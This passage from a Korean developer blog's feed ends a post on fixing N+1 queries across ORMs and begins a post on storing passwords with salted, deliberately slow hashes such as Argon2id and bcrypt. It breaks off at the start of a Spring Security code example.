&lt;p&gt;이렇게 두면 누군가 나중에 연관을 하나 더 건드렸을 때 &lt;strong&gt;테스트가 먼저 깨집니다.&lt;/strong&gt; N+1은 리뷰에서 놓치기 쉬운 종류라, 사람이 아니라 테스트가 지키게 하는 편이 낫습니다.&lt;/p&gt;
&lt;h2&gt;JPA만의 문제가 아닙니다&lt;/h2&gt;
&lt;p&gt;이름만 다를 뿐 모든 ORM에 있습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;ORM&lt;/th&gt;
&lt;th&gt;해결 방법&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;JPA / Hibernate&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;join fetch&lt;/code&gt; · &lt;code class=&quot;language-text&quot;&gt;@EntityGraph&lt;/code&gt; · &lt;code class=&quot;language-text&quot;&gt;default_batch_fetch_size&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Django ORM&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;select_related()&lt;/code&gt; (조인) · &lt;code class=&quot;language-text&quot;&gt;prefetch_related()&lt;/code&gt; (IN 절)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Rails ActiveRecord&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;includes()&lt;/code&gt; · &lt;code class=&quot;language-text&quot;&gt;preload()&lt;/code&gt; · &lt;code class=&quot;language-text&quot;&gt;eager_load()&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Prisma&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;include&lt;/code&gt; · &lt;code class=&quot;language-text&quot;&gt;select&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sequelize&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;include&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GraphQL 리졸버&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;DataLoader&lt;/strong&gt; — 같은 틱의 요청을 모아 한 번에&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;특히 &lt;strong&gt;GraphQL은 구조적으로 N+1이 나기 쉽습니다.&lt;/strong&gt; 필드마다 리졸버가 독립적으로 도니까요. DataLoader로 배치를 묶는 게 사실상 필수입니다.&lt;/p&gt;
&lt;h2&gt;자주 묻는 질문 (FAQ)&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q. 전부 EAGER로 바꾸면 편하지 않나요?&lt;/strong&gt;
A. 아니요. JPQL 조회에서는 EAGER여도 N+1이 그대로 나고, 대신 그 엔티티를 쓰는 &lt;strong&gt;모든&lt;/strong&gt; 조회가 무거워집니다. 연관은 전부 &lt;code class=&quot;language-text&quot;&gt;LAZY&lt;/code&gt;로 두고, 필요한 조회에서만 fetch join이나 batch fetch로 채우는 게 정석입니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q. fetch join과 batch fetch 중 뭘 써야 하나요?&lt;/strong&gt;
A. &lt;strong&gt;페이징이 없고 단일 연관이면 fetch join&lt;/strong&gt;, &lt;strong&gt;페이징이 있거나 컬렉션이면 batch fetch&lt;/strong&gt;입니다. 실무에서는 &lt;code class=&quot;language-text&quot;&gt;default_batch_fetch_size&lt;/code&gt;를 전역으로 켜 두고 무거운 조회만 fetch join으로 잡는 조합이 무난합니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q. 쿼리 101번이 그렇게 나쁜가요? 인덱스 타면 빠른데요.&lt;/strong&gt;
A. 각 쿼리는 빠릅니다. 문제는 &lt;strong&gt;왕복 비용&lt;/strong&gt;입니다. 네트워크 왕복이 1ms만 걸려도 100번이면 100ms이고, 커넥션을 그 시간만큼 점유합니다. 동시 요청이 늘면 &lt;a href=&quot;/connection-pool-exhaustion/&quot;&gt;커넥션 풀이 먼저 고갈됩니다&lt;/a&gt;. 쿼리 하나하나가 빠른 것과 요청 하나가 빠른 것은 다른 이야기입니다.&lt;/p&gt;
&lt;h2&gt;정리&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;N+1 = 목록 1번 + 항목마다 N번.&lt;/strong&gt; 반복문 안에서 연관을 건드리면 발생합니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;에러가 안 나고 로컬에서 안 걸립니다.&lt;/strong&gt; 데이터가 늘어야 드러나서 장애로 발견되는 경우가 많습니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;EAGER는 해결책이 아닙니다.&lt;/strong&gt; 연관은 &lt;code class=&quot;language-text&quot;&gt;LAZY&lt;/code&gt;, 조회하는 쪽에서 필요한 것만 채웁니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;단일 연관이면 fetch join, 컬렉션·페이징이면 batch fetch, 읽기 전용이면 DTO 조회.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;한 번 고쳤으면 &lt;strong&gt;쿼리 수를 테스트로 고정&lt;/strong&gt;하세요.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;지금 프로젝트에서 목록 API 하나만 골라 SQL 로그를 켜 보세요. 같은 select가 반복되고 있다면 그게 첫 번째입니다.&lt;/p&gt;
&lt;p&gt;관련해서 &lt;a href=&quot;/db-index-how-it-works/&quot;&gt;DB 인덱스가 안 먹는 경우&lt;/a&gt;와 &lt;a href=&quot;/connection-pool-exhaustion/&quot;&gt;커넥션 풀 고갈&lt;/a&gt;도 같이 보시면 좋습니다. 세 가지가 실무에서 서로 얽혀 나타납니다.&lt;/p&gt;
&lt;h3&gt;참고 자료&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.jboss.org/hibernate/orm/current/userguide/html_single/Hibernate_User_Guide.html#fetching&quot;&gt;Hibernate ORM User Guide — Fetching&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.spring.io/spring-data/jpa/reference/jpa/entity-graph.html&quot;&gt;Spring Data JPA — Entity Graph&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.djangoproject.com/en/stable/topics/db/optimization/&quot;&gt;Django — Database access optimization&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[비밀번호는 어떻게 저장되나 — 암호화가 아니라 해시입니다]]></title><description><![CDATA[…]]></description><link>https://blog.javapark.kr/password-hashing/</link><guid isPermaLink="false">https://blog.javapark.kr/password-hashing/</guid><pubDate>Sat, 22 Aug 2026 09:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/83f338f228b9b2e74a4b9966c391945f/64756/thumbnail.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 56.27906976744186%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACMElEQVR42j2SS2/TQBSFLVBiezz2zNiZ+DF+xGPn4dhJmjRpXqW0AQQtLKpU0FIQKgIkWCAhkIoEC1awrQSI/8ECfh8TUlU6i7OYT+feM1cqYwRdaiY1PWCqSVQLywRdysSqWwVxCLO63s/ReIBvTsntG2Qxx9tbxqgnlZEBue/NR3pWvw7BNQgUwVjkEvZsjYewLeACTYdksW3uL8jdXbwzQVsbkmyRW/cPzj9/evvh/buP58vHJyVNlcqlMjaUy+QAtlJ90EGTTTQbinC8O0Xz0f9kSo6ePfn998/Fr59fvn29+PH95ZvXh8ePKiErYUO1KYgYaMSkyFAz1fOmXrTUwNOaXB8UkuJV25PN0xdn+8dH2/t3lq+eH549XZ6eVEK/ZECFmqrvAh7iLEVZas0G1ngDhAzWOSxakhzYcT8vZsPWzqS/N48OFo17e9losF5bsbBiU8H73bbb7+iRj3gEI2aIIhqxpHBm5AnqNkiR4ozTFic80JhdNrFYu4QMUVu5YnmtetLv1JK4yiPZrui+q0W+JCfM3BnWHz6o7o7p3hQVjVq/CHptFDGv3aj1chL6TjONu23DqULmQN8V0pgjJpLULAJ5DIsEZDWtGQHuw5hpgas6FUAtUDHXPweoKUaQxRVYZDWU8CaW1A4H3UTrrGCl7ivck0NHZlS2rdW7q4PBSCErCa9Ra92IpPZSPM6tcUfvpkozVBJfrXmqbysOFVWL2DV8ZYQwc3WHCvMPjp1Two1CLZ4AAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/83f338f228b9b2e74a4b9966c391945f/a1b3b/thumbnail.webp 215w,
/static/83f338f228b9b2e74a4b9966c391945f/fc700/thumbnail.webp 430w,
/static/83f338f228b9b2e74a4b9966c391945f/521f7/thumbnail.webp 860w,
/static/83f338f228b9b2e74a4b9966c391945f/cbd37/thumbnail.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/83f338f228b9b2e74a4b9966c391945f/f7886/thumbnail.png 215w,
/static/83f338f228b9b2e74a4b9966c391945f/bc750/thumbnail.png 430w,
/static/83f338f228b9b2e74a4b9966c391945f/3e3fe/thumbnail.png 860w,
/static/83f338f228b9b2e74a4b9966c391945f/64756/thumbnail.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/83f338f228b9b2e74a4b9966c391945f/3e3fe/thumbnail.png&apos; alt=&apos;비밀번호는 어떻게 저장되나&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;비밀번호는 어떻게 저장되나&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;비밀번호를 잊어버렸을 때, 어떤 서비스도 원래 비밀번호를 알려주지 않습니다. 항상 &lt;strong&gt;재설정&lt;/strong&gt; 링크만 보냅니다.&lt;/p&gt;
&lt;p&gt;불친절해서가 아닙니다. &lt;strong&gt;서비스도 모르기 때문입니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;이 글은 그 이유 하나에서 출발합니다. 왜 모르는지, 모르는데 어떻게 로그인을 통과시키는지, 그리고 그것만으로는 왜 부족한지 순서대로 따라갑니다.&lt;/p&gt;
&lt;p&gt;되돌아오지 못하는 과정을 눈으로 보고 싶으시면 &lt;strong&gt;53초짜리 영상&lt;/strong&gt;으로도 정리했습니다. 같은 비밀번호가 해시를 지나면 왜 원래대로 못 돌아오는지, 솔트가 무엇을 막는지 움직이는 그림으로 보여드립니다.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/shorts/0bK0T_251XA&quot;&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 118.60465116279069%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAYCAIAAAB1KUohAAAACXBIWXMAAAAAAAAAAAHqZRakAAAEKElEQVR42kWUi0/cRhCH3eTO9tnr82Mf3rXPr/MD+2zguAdHjjS0HFAg0CCUVFGR0pCKpkFNKjX/v9TxXapKn0e/tTw7szOzlnqE6K5Lh5nhDRAXThxbYdQPQjtJ+2GE/EGL5+vC04XQOYePNcYAcJTg6RHsFaUhRI9Qw496fKAwz/Bjlfkdh3WxC4DoOETBAO1Ytmw7KmGSRpnpBU4QmX7IYz6dDuaLZLaI96ZhPfbqsWh2RQ3sgOB55YqIFnUy3PJZQCWDe25aNgff82x7Zy/66376z6cXXx6ePX5YvLnJLk/Fy1PvEjgRV6ficiUWM/rwbvXm1e52gzdpE9XBkLPJsRvaxLfc0GGh42dikHsDsBkfpG6QMRoQDb7HtkZsxKikM47Dob9VgzWHmf/8MDs7DY+O8rMzazzulaVWVVo1AtGrSi3LFNtWMVYcpy0YcgWN82KyEFllZUV6etzcXOfnZ83Nz+xgHzW1sd0goKnRTmNUhQrOhII/ZCr1MAHV6ffBIor71NAcTSdIx8j2MQkZCegGGlJLYJ0SxTEhc50xCTHuZaPZ0alfjuudAAr29dPR3w/Lx/fz11fJxTG7XPGLNS9P+PmPYrpH7+9Wt1c7oxpLOmV2ELNhZvpRkHrLZ+HhMlku4+WzeD739yZ8Mt0gprO2W0HKmnFWNoGImdQ1+kDHQLJlyZR28RrCZMIU5souV7hQhLdGyIw/pe53mDx1aMfGkkwwylNU5r04hBoqBCuEfIMymREZDskAqlDQWGEAUUFQLMErPU+NUanFkWxaiu20WwBrIQN4bVvsVrdLGxoGYaSubT3Rek9UtfV08H843wTGMiEtrdjgfNuCkda57/kw213YzHb+Z72FbJpd04RGdjfA0jLbFGxbdltnh2Sltz3T/BjQg6EWDFXqQv0grF7kerVljLb6dWnUpT4q9KpQXKYIt40MEbSkROWk+el27/pteHBsVDM0LFAc9Se79vnKvXk5+/Ln8uvnnY/35PrcuTgxj5b9wznEl+CK9rivD2Lkx2iQaH4EQOR2gCnTs1Qvc1QWAAhtK9eKVPE9aME6MqGy5chwv6HPptW2vQ/ntLpmWwJYPkUIpqCLUBds34Bjt2eGcsCZVUrhPqpQT8uhRTFa/TA82M8OD5qzFSuKdLkoXhxG+9Ps+SJ/saR5KtuWsi44NByGBIbJVShXCFeZQINQ5ULzfLAd2JSLnicgSZW7micUxjYN69IWCWa1HLlFxYtR+5cpR2I8TceTZLqfTxf57iwZz5PJfLg7CYuKpSXOKpJVuBiRIMNSXrFRQ6uaVg3bqvBkHr17/+rDw+uPj7/+/scvd79d3T/cPn6+e3t3Pp2HeWmVDSlqXG7jvCIS/NDSgiW5uyHOWZjiaIiDxF5jBYk5iE0QUerEGY7WJDnmkfMvxN+jdkUsne4AAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/58757e208924be8b983b50e0c2c99a28/a1b3b/video-thumb.webp 215w,
/static/58757e208924be8b983b50e0c2c99a28/fc700/video-thumb.webp 430w,
/static/58757e208924be8b983b50e0c2c99a28/521f7/video-thumb.webp 860w,
/static/58757e208924be8b983b50e0c2c99a28/d0742/video-thumb.webp 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/58757e208924be8b983b50e0c2c99a28/f7886/video-thumb.png 215w,
/static/58757e208924be8b983b50e0c2c99a28/bc750/video-thumb.png 430w,
/static/58757e208924be8b983b50e0c2c99a28/3e3fe/video-thumb.png 860w,
/static/58757e208924be8b983b50e0c2c99a28/e7448/video-thumb.png 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/58757e208924be8b983b50e0c2c99a28/3e3fe/video-thumb.png&apos; alt=&apos;비밀번호 저장 영상 — 해시는 한 방향이라 되돌릴 수 없다&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;비밀번호 저장 영상 — 해시는 한 방향이라 되돌릴 수 없다&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;암호화가 아니라 해시입니다&lt;/h2&gt;
&lt;p&gt;가장 흔한 오해가 &quot;비밀번호를 암호화해서 저장한다&quot;입니다. 정확히는 &lt;strong&gt;해시&lt;/strong&gt;이고, 둘은 목적이 다릅니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;암호화&lt;/th&gt;
&lt;th&gt;해시&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;되돌리기&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;가능&lt;/strong&gt; (키가 있으면)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;불가능&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;목적&lt;/td&gt;
&lt;td&gt;나중에 원문을 다시 봐야 할 때&lt;/td&gt;
&lt;td&gt;원문을 다시 볼 필요가 없을 때&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;예&lt;/td&gt;
&lt;td&gt;주민번호, 계좌번호, 메시지&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;비밀번호&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;암호화는 금고입니다. 열쇠가 있으면 열립니다. 그래서 &lt;strong&gt;열쇠가 털리면 전부 털립니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;해시는 고기를 갈아 다진 고기로 만드는 것에 가깝습니다. 같은 고기를 넣으면 항상 같은 결과가 나오지만, 다진 고기에서 원래 덩어리를 복원할 수는 없습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;&quot;hunter2&quot;  →  해시  →  a94a8fe5ccb19ba61c4c0873d391e987...&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;원문을 못 되돌리는데 어떻게 로그인을 확인할까요. &lt;strong&gt;비교를 원문이 아니라 해시로 하기 때문입니다.&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;1. 가입: &quot;hunter2&quot; 를 해시해서 a94a8f... 를 저장. 원문은 버린다.
2. 로그인: 입력받은 값을 다시 해시한다.
3. 저장된 a94a8f... 와 같으면 통과.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;DB가 통째로 유출돼도 공격자가 얻는 건 해시값입니다. 그것만으로는 로그인할 수 없습니다 — 로그인 창은 원문을 요구하니까요.&lt;/p&gt;
&lt;h2&gt;그런데 해시만으로는 부족합니다&lt;/h2&gt;
&lt;p&gt;여기까지가 절반입니다. 해시에는 결정적인 성질이 하나 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;같은 입력은 항상 같은 출력을 냅니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;이게 검증에는 필수인데, 동시에 약점입니다. 유출된 테이블을 보면 이런 일이 벌어집니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;사용자&lt;/th&gt;
&lt;th&gt;해시&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;kim&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;a94a8fe5ccb19ba6...&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;lee&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;b3d9a1f0e79c5f18...&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;park&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;a94a8fe5ccb19ba6...&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;kim과 park의 해시가 같습니다. &lt;strong&gt;둘이 같은 비밀번호를 쓴다&lt;/strong&gt;는 걸 공격자가 알게 됩니다. 하나만 뚫으면 둘 다 뚫립니다.&lt;/p&gt;
&lt;p&gt;더 큰 문제는 &lt;strong&gt;레인보우 테이블&lt;/strong&gt;입니다. 흔한 비밀번호 수억 개를 미리 해시해 사전으로 만들어 두면, 유출된 해시값을 그 사전에서 찾기만 하면 됩니다. 계산이 아니라 &lt;strong&gt;조회&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;password&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;123456&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;qwerty&lt;/code&gt; 같은 값은 이미 전부 사전에 있습니다.&lt;/p&gt;
&lt;h2&gt;솔트 — 사용자마다 다른 값을 섞는다&lt;/h2&gt;
&lt;p&gt;해결책은 간단합니다. 해시하기 전에 &lt;strong&gt;사용자마다 다른 무작위 값&lt;/strong&gt;을 붙입니다. 이걸 솔트라고 합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;kim  : 해시(&quot;hunter2&quot; + &quot;x7Fq2m&quot;)  →  3d1f0a...
park : 해시(&quot;hunter2&quot; + &quot;Kp9zR4&quot;)  →  c8b71e...&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;같은 비밀번호인데 저장된 해시가 달라집니다. 두 가지가 한꺼번에 해결됩니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;유출 테이블에서 &lt;strong&gt;같은 비밀번호를 쓰는 사람을 찾아낼 수 없습니다&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;미리 만든 사전이 무력해집니다. 솔트마다 사전을 새로 만들어야 하는데, 그건 사실상 전수 계산입니다&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;여기서 자주 나오는 질문 하나. &lt;strong&gt;솔트는 어디에 저장하나요?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;답은 &quot;해시 옆에, 평문으로&quot;입니다. 숨기는 값이 아닙니다. 솔트의 목적은 비밀 유지가 아니라 &lt;strong&gt;미리 계산해 둘 수 없게 만드는 것&lt;/strong&gt;이라, 공격자가 솔트를 알아도 목적은 그대로 달성됩니다.&lt;/p&gt;
&lt;p&gt;실무에서는 이걸 직접 관리할 일도 거의 없습니다. bcrypt 같은 알고리즘은 솔트를 &lt;strong&gt;결과 문자열 안에 같이 담아&lt;/strong&gt; 돌려줍니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$2b$12$X7Fq2mKp9zR4tVn3Lw8eOu.J5hQr1sYc0BdA6fGmZiKlNpTvWxYzC
└┬┘ └┬┘ └──────────┬─────────┘└───────────┬────────────────┘
알고리즘 비용     솔트 22자                해시 31자&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;한 문자열에 다 들어 있어서, DB 컬럼 하나만 있으면 됩니다.&lt;/p&gt;
&lt;h2&gt;빠른 게 문제입니다&lt;/h2&gt;
&lt;p&gt;솔트까지 붙였으면 끝일까요. 아직 한 가지가 남았습니다.&lt;/p&gt;
&lt;p&gt;SHA-256 같은 범용 해시는 &lt;strong&gt;빠르도록&lt;/strong&gt; 설계됐습니다. 파일 무결성 검사 같은 용도에서는 그게 장점입니다. 그런데 비밀번호에서는 정확히 그 장점이 약점이 됩니다.&lt;/p&gt;
&lt;p&gt;일반적인 GPU 한 장이면 SHA-256을 &lt;strong&gt;초당 수십억 회&lt;/strong&gt; 계산합니다. 솔트가 있어서 미리 계산은 못 하더라도, 유출된 해시 하나를 붙잡고 흔한 비밀번호부터 차례로 대입하는 건 여전히 빠릅니다. 8자리 영숫자 정도는 오래 걸리지 않습니다.&lt;/p&gt;
&lt;p&gt;그래서 비밀번호 전용 알고리즘은 &lt;strong&gt;일부러 느리게&lt;/strong&gt; 만들어져 있습니다. 로그인 한 번에 0.2초는 사용자가 못 느끼지만, 수십억 번 시도해야 하는 공격자에게는 수백 배의 벽이 됩니다.&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;$2b$12$&lt;/code&gt; 의 &lt;code class=&quot;language-text&quot;&gt;12&lt;/code&gt;가 그 조절 손잡이입니다. 이 값이 1 오를 때마다 계산량이 &lt;strong&gt;두 배&lt;/strong&gt;가 됩니다. 하드웨어가 빨라지면 이 숫자를 올려서 따라갑니다.&lt;/p&gt;
&lt;h3&gt;무엇을 쓸까&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;알고리즘&lt;/th&gt;
&lt;th&gt;상태&lt;/th&gt;
&lt;th&gt;비고&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Argon2id&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;현재 1순위 권장&lt;/td&gt;
&lt;td&gt;메모리도 많이 쓰게 만들어 GPU 공격에 특히 강함&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;bcrypt&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;여전히 안전, 가장 널리 쓰임&lt;/td&gt;
&lt;td&gt;라이브러리가 어디에나 있음. 입력 &lt;strong&gt;72바이트 제한&lt;/strong&gt; 주의&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;scrypt&lt;/td&gt;
&lt;td&gt;사용 가능&lt;/td&gt;
&lt;td&gt;Argon2 이전 세대의 메모리 강화 방식&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PBKDF2&lt;/td&gt;
&lt;td&gt;규제 요건일 때&lt;/td&gt;
&lt;td&gt;FIPS 인증이 필요한 환경에서 주로&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;SHA-256 / MD5 단독&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;쓰면 안 됨&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;빠른 게 문제. 솔트를 붙여도 마찬가지&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;새로 만든다면 Argon2id, 이미 bcrypt를 쓰고 있다면 그대로 두면 됩니다.&lt;/strong&gt; bcrypt가 깨져서 Argon2가 나온 게 아니라, GPU 환경에 더 잘 대응하도록 나온 것입니다. 멀쩡히 돌아가는 bcrypt를 굳이 갈아엎을 이유는 없습니다.&lt;/p&gt;
&lt;p&gt;구체적인 파라미터(Argon2의 메모리·반복 횟수, bcrypt의 비용 계수, PBKDF2의 반복 횟수)는 &lt;strong&gt;하드웨어가 빨라지면서 계속 상향됩니다.&lt;/strong&gt; 글에 숫자를 박아두면 금방 낡기 때문에, 최신 값은 &lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html&quot;&gt;OWASP Password Storage Cheat Sheet&lt;/a&gt;에서 확인하시는 걸 권합니다.&lt;/p&gt;
&lt;p&gt;기준을 잡는 실용적인 방법은 이렇습니다. &lt;strong&gt;운영 서버에서 실제로 시간을 재서, 로그인 한 번이 0.2~0.5초 걸리도록 파라미터를 올리는 것&lt;/strong&gt;입니다. 문서의 숫자보다 이쪽이 내 환경에 맞습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;java&quot;&gt;&lt;pre class=&quot;language-java&quot;&gt;&lt;code class=&quot;language-java&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// Spring Security — 비용 계수를 명시하고, 서버에서 실제 시간을 재서 조정한다&lt;/span&gt;
&lt;span class=&quot;token annotation punctuation&quot;&gt;@Bean&lt;/span&gt;
&lt;span class=&quot;token class-name&quot;&gt;PasswordEncoder&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;passwordEncoder&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
